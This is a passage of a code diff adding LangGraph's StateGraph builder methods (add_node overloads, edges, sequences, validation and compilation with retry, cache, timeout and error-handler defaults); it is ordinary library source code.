+        defaults = self._node_defaults
+        if retry_policy is not None:
+            defaults.retry_policy = retry_policy
+        if cache_policy is not None:
+            defaults.cache_policy = cache_policy
+        if error_handler is not None:
+            defaults.error_handler = error_handler
+        if timeout is not None:
+            defaults.timeout = coerce_timeout_policy(timeout)
+        return self
+
+    @property
+    def _all_edges(self) -> set[tuple[str, str]]:
+        return self.edges | {
+            (start, end) for starts, end in self.waiting_edges for start in starts
+        }
+
+    def _add_schema(self, schema: type[Any], /, allow_managed: bool = True) -> None:
+        if schema not in self.schemas:
+            _warn_invalid_state_schema(schema)
+            channels, managed, type_hints = _get_channels(schema)
+            if managed and not allow_managed:
+                names = ", ".join(managed)
+                schema_name = getattr(schema, "__name__", "")
+                raise ValueError(
+                    f"Invalid managed channels detected in {schema_name}: {names}."
+                    " Managed channels are not permitted in Input/Output schema."
+                )
+            self.schemas[schema] = {**channels, **managed}
+            for key, channel in channels.items():
+                if key in self.channels:
+                    if self.channels[key] != channel:
+                        if isinstance(channel, LastValue):
+                            pass
+                        else:
+                            raise ValueError(
+                                f"Channel '{key}' already exists with a different type"
+                            )
+                else:
+                    self.channels[key] = channel
+            for key, managed in managed.items():
+                if key in self.managed:
+                    if self.managed[key] != managed:
+                        raise ValueError(
+                            f"Managed value '{key}' already exists with a different type"
+                        )
+                else:
+                    self.managed[key] = managed
+
+    @overload
+    def add_node(
+        self,
+        node: StateNode[NodeInputT, ContextT],
+        *,
+        defer: bool = False,
+        metadata: dict[str, Any] | None = None,
+        input_schema: None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        destinations: dict[str, str] | tuple[str, ...] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Self:
+        """Add a new node to the `StateGraph`, input schema is inferred as the state schema.
+
+        Will take the name of the function/runnable as the node name.
+
+        Args:
+            node: The function or runnable this node will run.
+            defer: Whether to defer the execution of the node until the run is about to end.
+            metadata: The metadata associated with the node.
+            input_schema: The input schema for the node. (Default: the graph's state schema)
+            retry_policy: The retry policy for the node.
+
+                If a sequence is provided, the first matching policy will be applied.
+            cache_policy: The cache policy for the node.
+            destinations: Destinations that indicate where a node can route to.
+
+                Useful for edgeless graphs with nodes that return `Command` objects.
+
+                If a `dict` is provided, the keys will be used as the target node names and the values will be used as the labels for the edges.
+
+                If a `tuple` is provided, the values will be used as the target node names.
+
+                !!! warning
+
+                    This is only used for graph rendering and doesn't have any effect on the graph execution.
+
+        Example:
+            ```python
+            from typing_extensions import TypedDict
+
+            from langchain_core.runnables import RunnableConfig
+            from langgraph.graph import START, StateGraph
+
+
+            class State(TypedDict):
+                x: int
+
+
+            def my_node(state: State, config: RunnableConfig) -> State:
+                return {"x": state["x"] + 1}
+
+
+            builder = StateGraph(State)
+            builder.add_node(my_node)  # node name will be 'my_node'
+            builder.add_edge(START, "my_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        ...
+
+    @overload
+    def add_node(
+        self,
+        node: StateNode[NodeInputT, ContextT],
+        *,
+        defer: bool = False,
+        metadata: dict[str, Any] | None = None,
+        input_schema: type[NodeInputT],
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        destinations: dict[str, str] | tuple[str, ...] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Self:
+        """Add a new node to the `StateGraph` where input schema is specified.
+
+        Will take the name of the function/runnable as the node name.
+
+        Args:
+            node: The function or runnable this node will run.
+            defer: Whether to defer the execution of the node until the run is about to end.
+            metadata: The metadata associated with the node.
+            input_schema: The input schema for the node.
+            retry_policy: The retry policy for the node.
+
+                If a sequence is provided, the first matching policy will be applied.
+            cache_policy: The cache policy for the node.
+            destinations: Destinations that indicate where a node can route to.
+
+                Useful for edgeless graphs with nodes that return `Command` objects.
+
+                If a `dict` is provided, the keys will be used as the target node names and the values will be used as the labels for the edges.
+
+                If a `tuple` is provided, the values will be used as the target node names.
+
+                !!! warning
+
+                    This is only used for graph rendering and doesn't have any effect on the graph execution.
+
+        Example:
+            ```python
+            from typing_extensions import TypedDict
+
+            from langchain_core.runnables import RunnableConfig
+            from langgraph.graph import START, StateGraph
+
+
+            class State(TypedDict):
+                x: int
+
+
+            class NodeInput(TypedDict):
+                x: int
+
+
+            def my_node(state: NodeInput, config: RunnableConfig) -> State:
+                return {"x": state["x"] + 1}
+
+
+            builder = StateGraph(State)
+            builder.add_node(my_node, input_schema=NodeInput)  # node name will be 'my_node'
+            builder.add_edge(START, "my_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        ...
+
+    @overload
+    def add_node(
+        self,
+        node: str,
+        action: StateNode[NodeInputT, ContextT],
+        *,
+        defer: bool = False,
+        metadata: dict[str, Any] | None = None,
+        input_schema: None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        destinations: dict[str, str] | tuple[str, ...] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Self:
+        """Add a new node to the `StateGraph`, input schema is inferred as the state schema.
+
+        Args:
+            node: The name of the node.
+            action: The function or runnable this node will run.
+            defer: Whether to defer the execution of the node until the run is about to end.
+            metadata: The metadata associated with the node.
+            input_schema: The input schema for the node. (Default: the graph's state schema)
+            retry_policy: The retry policy for the node.
+
+                If a sequence is provided, the first matching policy will be applied.
+            cache_policy: The cache policy for the node.
+            destinations: Destinations that indicate where a node can route to.
+
+                Useful for edgeless graphs with nodes that return `Command` objects.
+
+                If a `dict` is provided, the keys will be used as the target node names and the values will be used as the labels for the edges.
+
+                If a `tuple` is provided, the values will be used as the target node names.
+
+                !!! warning
+
+                    This is only used for graph rendering and doesn't have any effect on the graph execution.
+
+        Example:
+            ```python
+            from typing_extensions import TypedDict
+
+            from langchain_core.runnables import RunnableConfig
+            from langgraph.graph import START, StateGraph
+
+
+            class State(TypedDict):
+                x: int
+
+
+            def my_node(state: State, config: RunnableConfig) -> State:
+                return {"x": state["x"] + 1}
+
+
+            builder = StateGraph(State)
+            builder.add_node("my_fair_node", my_node)
+            builder.add_edge(START, "my_fair_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        ...
+
+    @overload
+    def add_node(
+        self,
+        node: str | StateNode[NodeInputT, ContextT],
+        action: StateNode[NodeInputT, ContextT] | None = None,
+        *,
+        defer: bool = False,
+        metadata: dict[str, Any] | None = None,
+        input_schema: type[NodeInputT],
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        destinations: dict[str, str] | tuple[str, ...] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Self:
+        """Add a new node to the `StateGraph`, input schema is specified.
+
+        Args:
+            node: The function or runnable this node will run.
+
+                If a string is provided, it will be used as the node name, and action will be used as the function or runnable.
+            action: The action associated with the node.
+
+                Will be used as the node function or runnable if `node` is a string (node name).
+            defer: Whether to defer the execution of the node until the run is about to end.
+            metadata: The metadata associated with the node.
+            input_schema: The input schema for the node.
+            retry_policy: The retry policy for the node.
+
+                If a sequence is provided, the first matching policy will be applied.
+            cache_policy: The cache policy for the node.
+            destinations: Destinations that indicate where a node can route to.
+
+                Useful for edgeless graphs with nodes that return `Command` objects.
+
+                If a `dict` is provided, the keys will be used as the target node names and the values will be used as the labels for the edges.
+
+                If a `tuple` is provided, the values will be used as the target node names.
+
+                !!! warning
+
+                    This is only used for graph rendering and doesn't have any effect on the graph execution.
+
+        Example:
+            ```python
+            from typing_extensions import TypedDict
+
+            from langchain_core.runnables import RunnableConfig
+            from langgraph.graph import START, StateGraph
+
+
+            class State(TypedDict):
+                x: int
+
+
+            class NodeInput(TypedDict):
+                x: int
+
+
+            def my_node(state: NodeInput, config: RunnableConfig) -> State:
+                return {"x": state["x"] + 1}
+
+
+            builder = StateGraph(State)
+            builder.add_node("my_fair_node", my_node, input_schema=NodeInput)
+            builder.add_edge(START, "my_fair_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        ...
+
+    def add_node(
+        self,
+        node: str | StateNode[NodeInputT, ContextT],
+        action: StateNode[NodeInputT, ContextT] | None = None,
+        *,
+        defer: bool = False,
+        metadata: dict[str, Any] | None = None,
+        input_schema: type[NodeInputT] | None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        destinations: dict[str, str] | tuple[str, ...] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> Self:
+        """Add a new node to the `StateGraph`.
+
+        Args:
+            node: The function or runnable this node will run.
+
+                If a string is provided, it will be used as the node name, and action will be used as the function or runnable.
+            action: The action associated with the node.
+
+                Will be used as the node function or runnable if `node` is a string (node name).
+            defer: Whether to defer the execution of the node until the run is about to end.
+            metadata: The metadata associated with the node.
+            input_schema: The input schema for the node. (Default: the graph's state schema)
+            retry_policy: The retry policy for the node.
+
+                If a sequence is provided, the first matching policy will be applied.
+            cache_policy: The cache policy for the node.
+            error_handler: Optional node-level error handler callable for this node.
+            destinations: Destinations that indicate where a node can route to.
+
+                Useful for edgeless graphs with nodes that return `Command` objects.
+
+                If a `dict` is provided, the keys will be used as the target node names and the values will be used as the labels for the edges.
+
+                If a `tuple` is provided, the values will be used as the target node names.
+
+                !!! warning
+
+                    This is only used for graph rendering and doesn't have any effect on the graph execution.
+            timeout: Timeout for each node attempt. A number or `timedelta` is
+                a hard wall-clock cap and is not refreshed. Use `TimeoutPolicy`
+                to configure both a wall-clock `run_timeout` and an
+                `idle_timeout` refreshed by progress signals. When exceeded, a
+                [`NodeTimeoutError`][langgraph.errors.NodeTimeoutError] is raised
+                and the retry policy (if any) decides whether to retry. Timeouts
+                are supported only for async nodes; sync nodes cannot be safely
+                cancelled in-process.
+
+        Example:
+            ```python
+            from typing_extensions import TypedDict
+
+            from langchain_core.runnables import RunnableConfig
+            from langgraph.graph import START, StateGraph
+
+
+            class State(TypedDict):
+                x: int
+
+
+            def my_node(state: State, config: RunnableConfig) -> State:
+                return {"x": state["x"] + 1}
+
+
+            builder = StateGraph(State)
+            builder.add_node(my_node)  # node name will be 'my_node'
+            builder.add_edge(START, "my_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Example: Customize the name:
+            ```python
+            builder = StateGraph(State)
+            builder.add_node("my_fair_node", my_node)
+            builder.add_edge(START, "my_fair_node")
+            graph = builder.compile()
+            graph.invoke({"x": 1})
+            # {'x': 2}
+            ```
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        if (retry := kwargs.get("retry", MISSING)) is not MISSING:
+            warnings.warn(
+                "`retry` is deprecated and will be removed. Please use `retry_policy` instead.",
+                category=LangGraphDeprecatedSinceV05,
+            )
+            if retry_policy is None:
+                retry_policy = retry  # type: ignore[assignment]
+
+        if (input_ := kwargs.get("input", MISSING)) is not MISSING:
+            warnings.warn(
+                "`input` is deprecated and will be removed. Please use `input_schema` instead.",
+                category=LangGraphDeprecatedSinceV05,
+            )
+            if input_schema is None:
+                input_schema = cast(type[NodeInputT] | None, input_)
+        timeout = coerce_timeout_policy(timeout)
+
+        if not isinstance(node, str):
+            action = node
+            if isinstance(action, Runnable):
+                node = action.get_name()
+            else:
+                node = getattr(action, "__name__", action.__class__.__name__)
+            if node is None:
+                raise ValueError(
+                    "Node name must be provided if action is not a function"
+                )
+        if self.compiled:
+            logger.warning(
+                "Adding a node to a graph that has already been compiled. This will "
+                "not be reflected in the compiled graph."
+            )
+        if not isinstance(node, str):
+            action = node
+            node = cast(str, getattr(action, "name", getattr(action, "__name__", None)))
+            if node is None:
+                raise ValueError(
+                    "Node name must be provided if action is not a function"
+                )
+        if action is None:
+            raise RuntimeError
+        if node in self.nodes:
+            raise ValueError(f"Node `{node}` already present.")
+        if node == END or node == START:
+            raise ValueError(f"Node `{node}` is reserved.")
+
+        for character in (NS_SEP, NS_END):
+            if character in node:
+                raise ValueError(
+                    f"'{character}' is a reserved character and is not allowed in the node names."
+                )
+
+        inferred_input_schema = None
+
+        ends: tuple[str, ...] | dict[str, str] = EMPTY_SEQ
+        try:
+            if (
+                isfunction(action)
+                or ismethod(action)
+                or ismethod(getattr(action, "__call__", None))
+            ) and (
+                hints := get_type_hints(getattr(action, "__call__"))
+                or get_type_hints(action)
+            ):
+                if input_schema is None:
+                    first_parameter_name = next(
+                        iter(
+                            inspect.signature(
+                                cast(FunctionType, action)
+                            ).parameters.keys()
+                        )
+                    )
+                    if input_hint := hints.get(first_parameter_name):
+                        if isinstance(input_hint, type) and get_type_hints(input_hint):
+                            inferred_input_schema = input_hint
+                if rtn := hints.get("return"):
+                    # Handle Union types
+                    rtn_origin = get_origin(rtn)
+                    if rtn_origin is Union:
+                        rtn_args = get_args(rtn)
+                        # Look for Command in the union
+                        for arg in rtn_args:
+                            arg_origin = get_origin(arg)
+                            if arg_origin is Command:
+                                rtn = arg
+                                rtn_origin = arg_origin
+                                break
+
+                    # Check if it's a Command type
+                    if (
+                        rtn_origin is Command
+                        and (rargs := get_args(rtn))
+                        and get_origin(rargs[0]) is Literal
+                        and (vals := get_args(rargs[0]))
+                    ):
+                        ends = vals
+        except (NameError, TypeError, StopIteration):
+            pass
+
+        if destinations is not None:
+            ends = destinations
+
+        resolved_input_schema: type[Any] = (
+            input_schema or inferred_input_schema or self.state_schema
+        )
+        handler_node_name: str | None = None
+        if error_handler is not None:
+            handler_node_name = f"__error_handler__{node}"
+            if handler_node_name in self.nodes:
+                raise ValueError(
+                    f"Auto-generated error handler node `{handler_node_name}` already exists."
+                )
+            self.nodes[handler_node_name] = StateNodeSpec[Any, ContextT](
+                coerce_to_runnable(error_handler, name=handler_node_name, trace=False),  # type: ignore[arg-type]
+                metadata=None,
+                input_schema=resolved_input_schema,
+                retry_policy=None,
+                cache_policy=None,
+                is_error_handler=True,
+            )
+
+        if input_schema is not None:
+            self.nodes[node] = StateNodeSpec[NodeInputT, ContextT](
+                coerce_to_runnable(action, name=node, trace=False),  # type: ignore[arg-type]
+                metadata,
+                input_schema=input_schema,
+                retry_policy=retry_policy,
+                cache_policy=cache_policy,
+                error_handler_node=handler_node_name,
+                ends=ends,
+                defer=defer,
+                timeout=timeout,
+            )
+        elif inferred_input_schema is not None:
+            self.nodes[node] = StateNodeSpec(
+                coerce_to_runnable(action, name=node, trace=False),  # type: ignore[arg-type]
+                metadata,
+                input_schema=inferred_input_schema,
+                retry_policy=retry_policy,
+                cache_policy=cache_policy,
+                error_handler_node=handler_node_name,
+                ends=ends,
+                defer=defer,
+                timeout=timeout,
+            )
+        else:
+            self.nodes[node] = StateNodeSpec[StateT, ContextT](
+                coerce_to_runnable(action, name=node, trace=False),  # type: ignore[arg-type]
+                metadata,
+                input_schema=self.state_schema,
+                retry_policy=retry_policy,
+                cache_policy=cache_policy,
+                error_handler_node=handler_node_name,
+                ends=ends,
+                defer=defer,
+                timeout=timeout,
+            )
+
+        input_schema = input_schema or inferred_input_schema
+        if input_schema is not None:
+            self._add_schema(input_schema)
+
+        return self
+
+    def add_edge(self, start_key: str | list[str], end_key: str) -> Self:
+        """Add a directed edge from the start node (or list of start nodes) to the end node.
+
+        When a single start node is provided, the graph will wait for that node to complete
+        before executing the end node. When multiple start nodes are provided,
+        the graph will wait for ALL of the start nodes to complete before executing the end node.
+
+        Args:
+            start_key: The key(s) of the start node(s) of the edge.
+            end_key: The key of the end node of the edge.
+
+        Raises:
+            ValueError: If the start key is `'END'` or if the start key or end key is not present in the graph.
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        if self.compiled:
+            logger.warning(
+                "Adding an edge to a graph that has already been compiled. This will "
+                "not be reflected in the compiled graph."
+            )
+
+        if isinstance(start_key, str):
+            if start_key == END:
+                raise ValueError("END cannot be a start node")
+            if end_key == START:
+                raise ValueError("START cannot be an end node")
+
+            # run this validation only for non-StateGraph graphs
+            if not hasattr(self, "channels") and start_key in set(
+                start for start, _ in self.edges
+            ):
+                raise ValueError(
+                    f"Already found path for node '{start_key}'.\n"
+                    "For multiple edges, use StateGraph with an Annotated state key."
+                )
+
+            self.edges.add((start_key, end_key))
+            return self
+
+        for start in start_key:
+            if start == END:
+                raise ValueError("END cannot be a start node")
+            if start not in self.nodes:
+                raise ValueError(f"Need to add_node `{start}` first")
+        if end_key == START:
+            raise ValueError("START cannot be an end node")
+        if end_key != END and end_key not in self.nodes:
+            raise ValueError(f"Need to add_node `{end_key}` first")
+
+        self.waiting_edges.add((tuple(start_key), end_key))
+        return self
+
+    def add_conditional_edges(
+        self,
+        source: str,
+        path: Callable[..., Hashable | Sequence[Hashable]]
+        | Callable[..., Awaitable[Hashable | Sequence[Hashable]]]
+        | Runnable[Any, Hashable | Sequence[Hashable]],
+        path_map: dict[Hashable, str] | list[str] | None = None,
+    ) -> Self:
+        """Add a conditional edge from the starting node to any number of destination nodes.
+
+        Args:
+            source: The starting node. This conditional edge will run when
+                exiting this node.
+            path: The callable that determines the next node or nodes.
+
+                If not specifying `path_map` it should return one or more nodes.
+
+                If it returns `'END'`, the graph will stop execution.
+            path_map: Optional mapping of paths to node names.
+
+                If omitted the paths returned by `path` should be node names.
+
+        Returns:
+            Self: The instance of the graph, allowing for method chaining.
+
+        !!! warning
+            Without type hints on the `path` function's return value (e.g., `-> Literal["foo", "__end__"]:`)
+            or a path_map, the graph visualization assumes the edge could transition to any node in the graph.
+
+        """  # noqa: E501
+        if self.compiled:
+            logger.warning(
+                "Adding an edge to a graph that has already been compiled. This will "
+                "not be reflected in the compiled graph."
+            )
+
+        # find a name for the condition
+        path = coerce_to_runnable(path, name=None, trace=True)
+        name = path.name or "condition"
+        # validate the condition
+        if name in self.branches[source]:
+            raise ValueError(
+                f"Branch with name `{path.name}` already exists for node `{source}`"
+            )
+        # save it
+        self.branches[source][name] = BranchSpec.from_path(path, path_map, True)
+        if schema := self.branches[source][name].input_schema:
+            self._add_schema(schema)
+        return self
+
+    def add_sequence(
+        self,
+        nodes: Sequence[
+            StateNode[NodeInputT, ContextT]
+            | tuple[str, StateNode[NodeInputT, ContextT]]
+        ],
+    ) -> Self:
+        """Add a sequence of nodes that will be executed in the provided order.
+
+        Args:
+            nodes: A sequence of `StateNode` (callables that accept a `state` arg) or `(name, StateNode)` tuples.
+
+                If no names are provided, the name will be inferred from the node object (e.g. a `Runnable` or a `Callable` name).
+
+                Each node will be executed in the order provided.
+
+        Raises:
+            ValueError: If the sequence is empty.
+            ValueError: If the sequence contains duplicate node names.
+
+        Returns:
+            Self: The instance of the `StateGraph`, allowing for method chaining.
+        """
+        if len(nodes) < 1:
+            raise ValueError("Sequence requires at least one node.")
+
+        previous_name: str | None = None
+        for node in nodes:
+            if isinstance(node, tuple) and len(node) == 2:
+                name, node = node
+            else:
+                name = _get_node_name(node)
+
+            if name in self.nodes:
+                raise ValueError(
+                    f"Node names must be unique: node with the name '{name}' already exists. "
+                    "If you need to use two different runnables/callables with the same name (for example, using `lambda`), please provide them as tuples (name, runnable/callable)."
+                )
+
+            self.add_node(name, node)
+            if previous_name is not None:
+                self.add_edge(previous_name, name)
+
+            previous_name = name
+
+        return self
+
+    def set_entry_point(self, key: str) -> Self:
+        """Specifies the first node to be called in the graph.
+
+        Equivalent to calling `add_edge(START, key)`.
+
+        Parameters:
+            key (str): The key of the node to set as the entry point.
+
+        Returns:
+            Self: The instance of the graph, allowing for method chaining.
+        """
+        return self.add_edge(START, key)
+
+    def set_conditional_entry_point(
+        self,
+        path: Callable[..., Hashable | Sequence[Hashable]]
+        | Callable[..., Awaitable[Hashable | Sequence[Hashable]]]
+        | Runnable[Any, Hashable | Sequence[Hashable]],
+        path_map: dict[Hashable, str] | list[str] | None = None,
+    ) -> Self:
+        """Sets a conditional entry point in the graph.
+
+        Args:
+            path: The callable that determines the next node or nodes.
+
+                If not specifying `path_map` it should return one or more nodes.
+
+                If it returns END, the graph will stop execution.
+            path_map: Optional mapping of paths to node names.
+
+                If omitted the paths returned by `path` should be node names.
+
+        Returns:
+            Self: The instance of the graph, allowing for method chaining.
+        """
+        return self.add_conditional_edges(START, path, path_map)
+
+    def set_finish_point(self, key: str) -> Self:
+        """Marks a node as a finish point of the graph.
+
+        If the graph reaches this node, it will cease execution.
+
+        Parameters:
+            key (str): The key of the node to set as the finish point.
+
+        Returns:
+            Self: The instance of the graph, allowing for method chaining.
+        """
+        return self.add_edge(key, END)
+
+    def validate(self, interrupt: Sequence[str] | None = None) -> Self:
+        # assemble sources
+        all_sources = {src for src, _ in self._all_edges}
+        for start, branches in self.branches.items():
+            all_sources.add(start)
+        for name, spec in self.nodes.items():
+            if spec.ends:
+                all_sources.add(name)
+        # validate sources
+        for source in all_sources:
+            if source not in self.nodes and source != START:
+                raise ValueError(f"Found edge starting at unknown node '{source}'")
+
+        if START not in all_sources:
+            raise ValueError(
+                "Graph must have an entrypoint: add at least one edge from START to another node"
+            )
+
+        # assemble targets
+        all_targets = {end for _, end in self._all_edges}
+        for start, branches in self.branches.items():
+            for cond, branch in branches.items():
+                if branch.ends is not None:
+                    for end in branch.ends.values():
+                        if end not in self.nodes and end != END:
+                            raise ValueError(
+                                f"At '{start}' node, '{cond}' branch found unknown target '{end}'"
+                            )
+                        all_targets.add(end)
+                else:
+                    all_targets.add(END)
+                    for node in self.nodes:
+                        if node != start:
+                            all_targets.add(node)
+        for name, spec in self.nodes.items():
+            if spec.ends:
+                all_targets.update(spec.ends)
+        for target in all_targets:
+            if target not in self.nodes and target != END:
+                raise ValueError(f"Found edge ending at unknown node `{target}`")
+        # validate interrupts
+        if interrupt:
+            for node in interrupt:
+                if node not in self.nodes:
+                    raise ValueError(f"Interrupt node `{node}` not found")
+        self.compiled = True
+        return self
+
+    def compile(
+        self,
+        checkpointer: Checkpointer = None,
+        *,
+        cache: BaseCache | None = None,
+        store: BaseStore | None = None,
+        interrupt_before: All | list[str] | None = None,
+        interrupt_after: All | list[str] | None = None,
+        debug: bool = False,
+        name: str | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+    ) -> CompiledStateGraph[StateT, ContextT, InputT, OutputT]:
+        """Compiles the `StateGraph` into a `CompiledStateGraph` object.
+
+        The compiled graph implements the `Runnable` interface and can be invoked,
+        streamed, batched, and run asynchronously.
+
+        Args:
+            checkpointer: A checkpoint saver object or flag.
+
+                If provided, this `Checkpointer` serves as a fully versioned "short-term memory" for the graph,
+                allowing it to be paused, resumed, and replayed from any point.
+
+                If `None`, it may inherit the parent graph's checkpointer when used as a subgraph.
+
+                If `False`, it will not use or inherit any checkpointer.
+
+                **Important**: When a checkpointer is enabled, you should pass a `thread_id`
+                in the config when invoking the graph:
+
+                ```python
+                config = {"configurable": {"thread_id": "my-thread"}}
+                graph.invoke(inputs, config)
+                ```
+
+                The `thread_id` is the key used to store and retrieve checkpoints. Use a
+                unique ID for independent runs, or reuse the same ID to accumulate state
+                across invocations (e.g., for conversation memory).
+
+            interrupt_before: An optional list of node names to interrupt before.
+            interrupt_after: An optional list of node names to interrupt after.
+            debug: A flag indicating whether to enable debug mode.
+            name: The name to use for the compiled graph.
+            transformers: Optional sequence of `StreamTransformer` classes or
+                configured factories. Classes and factories are instantiated
+                per run whenever `stream_events(version="v3")` / `astream_events(version="v3")` is called and are
+                propagated to subgraph scopes. Custom factories should follow
+                the standard `StreamTransformer` constructor shape by
+                accepting `scope` as their first argument. Appended after the
+                built-in stream transformers.
+
+        Returns:
+            CompiledStateGraph: The compiled `StateGraph`.
+        """
+        checkpointer = ensure_valid_checkpointer(checkpointer)
+
+        serde_allowlist: set[tuple[str, ...]] | None = None
+        if _serde.STRICT_MSGPACK_ENABLED:
+            schema_types: list[type[Any]] = [
+                self.state_schema,
+                self.input_schema,
+                self.output_schema,
+            ]
+            if self.context_schema is not None:
+                schema_types.append(self.context_schema)
+            for node in self.nodes.values():
+                schema_types.append(node.input_schema)
+            for branches in self.branches.values():
+                for branch in branches.values():
+                    if branch.input_schema is not None:
+                        schema_types.append(branch.input_schema)
+            serde_allowlist = _serde.build_serde_allowlist(
+                schemas=schema_types,
+                channels=self.channels,
+            )
+            checkpointer = _serde.apply_checkpointer_allowlist(
+                checkpointer, serde_allowlist
+            )
+
+        # assign default values
+        interrupt_before = interrupt_before or []
+        interrupt_after = interrupt_after or []
+
+        # validate the graph
+        self.validate(
+            interrupt=(
+                (interrupt_before if interrupt_before != "*" else []) + interrupt_after
+                if interrupt_after != "*"
+                else []
+            )
+        )
+
+        # prepare output channels
+        output_channels = (
+            "__root__"
+            if len(self.schemas[self.output_schema]) == 1
+            and "__root__" in self.schemas[self.output_schema]
+            else [
+                key
+                for key, val in self.schemas[self.output_schema].items()
+                if not is_managed_value(val)
+            ]
+        )
+        stream_channels = (
+            "__root__"
+            if len(self.channels) == 1 and "__root__" in self.channels
+            else [
+                key for key, val in self.channels.items() if not is_managed_value(val)
+            ]
+        )
+        # Apply builder defaults to node specs. Per-node values always win.
+        # Error-handler routing and cache_policy are only assigned to regular
+        # nodes. Retry and timeout defaults also apply to error-handler nodes.
+        defaults = self._node_defaults
+        default_handler_name: str | None = None
+        if defaults.error_handler is not None:
+            if _DEFAULT_ERROR_HANDLER_NODE in self.nodes:
+                raise ValueError(
+                    f"Auto-generated default error handler node "
+                    f"`{_DEFAULT_ERROR_HANDLER_NODE}` already exists."
+                )
+            default_handler_name = _DEFAULT_ERROR_HANDLER_NODE
+            self.nodes[default_handler_name] = StateNodeSpec[Any, ContextT](
+                coerce_to_runnable(
+                    defaults.error_handler,  # type: ignore[arg-type]
+                    name=default_handler_name,
+                    trace=False,
+                ),
+                metadata=None,
+                input_schema=self.state_schema,
+                retry_policy=None,
+                cache_policy=None,
+                is_error_handler=True,
+            )
+
+        # Apply builder defaults to node specs. Per-node values always win.
+        for spec in self.nodes.values():
+            # error_handler: regular nodes only — handlers must never
+            # catch themselves or other handlers.
+            if (
+                not spec.is_error_handler
+                and default_handler_name is not None
+                and spec.error_handler_node is None
+            ):
+                spec.error_handler_node = default_handler_name
+            # retry: all nodes — handlers should be retried on transient
+            # failures just like regular nodes.
+            if defaults.retry_policy is not None and spec.retry_policy is None:
+                spec.retry_policy = defaults.retry_policy
+            # cache: regular nodes only — caching an error-handler result
+            # is unsafe because the input (failed-node state) may differ
+            # across failures even when the cache key matches.
+            if (
+                not spec.is_error_handler
+                and defaults.cache_policy is not None
+                and spec.cache_policy is None
+            ):
+                spec.cache_policy = defaults.cache_policy
+            # timeout: all nodes — a stuck handler should be cancelled the
+            # same way a stuck regular node would be.
+            if defaults.timeout is not None and spec.timeout is None:
+                spec.timeout = defaults.timeout
+
+        node_error_handler_map = {
+            node_name: spec.error_handler_node
+            for node_name, spec in self.nodes.items()
+            if not spec.is_error_handler and spec.error_handler_node is not None
+        }
+
+        compiled = CompiledStateGraph[StateT, ContextT, InputT, OutputT](
+            builder=self,
+            schema_to_mapper={},
+            context_schema=self.context_schema,
+            nodes={},
+            channels={
+                **self.channels,
+                **self.managed,
+                START: EphemeralValue(self.input_schema),
+            },
+            input_channels=START,
+            stream_mode="updates",
+            output_channels=output_channels,
+            stream_channels=stream_channels,
+            checkpointer=checkpointer,
+            interrupt_before_nodes=interrupt_before,
+            interrupt_after_nodes=interrupt_after,
+            auto_validate=False,
+            debug=debug,
+            store=store,
+            cache=cache,
+            node_error_handler_map=node_error_handler_map,
+            name=name or "LangGraph",
+            stream_transformers=transformers,
+        )
+        compiled._serde_allowlist = serde_allowlist
+
+        compiled.attach_node(START, None)
+        for key, node in self.nodes.items():
+            compiled.attach_node(key, node)
+
+        # Record output/state mappers for v2 stream coercion (pydantic/dataclass only)
+        compiled._output_mapper = _pick_mapper(
+            list(output_channels)
+            if isinstance(output_channels, list)
+            else [output_channels],
+            self.output_schema,
+        )
+        compiled._state_mapper = _pick_mapper(
+            list(stream_channels)
+            if isinstance(stream_channels, list)
+            else [stream_channels],
+            self.state_schema,
+        )
+
+        for start, end in self.edges:
+            compiled.attach_edge(start, end)
+
+        for starts, end in self.waiting_edges:
+            compiled.attach_edge(starts, end)
+
+        for start, branches in self.branches.items():
+            for name, branch in branches.items():
+                compiled.attach_branch(start, name, branch)
+
+        return compiled.validate()
+
+
+class CompiledStateGraph(
+    Pregel[StateT, ContextT, InputT, OutputT],
+    Generic[StateT, ContextT, InputT, OutputT],
+):
+    builder: StateGraph[StateT, ContextT, InputT, OutputT]
+    schema_to_mapper: dict[type[Any], Callable[[Any], Any] | None]
+    _output_mapper: Callable[[Any], Any] | None
+    _state_mapper: Callable[[Any], Any] | None
+
+    def __init__(
+        self,
+        *,
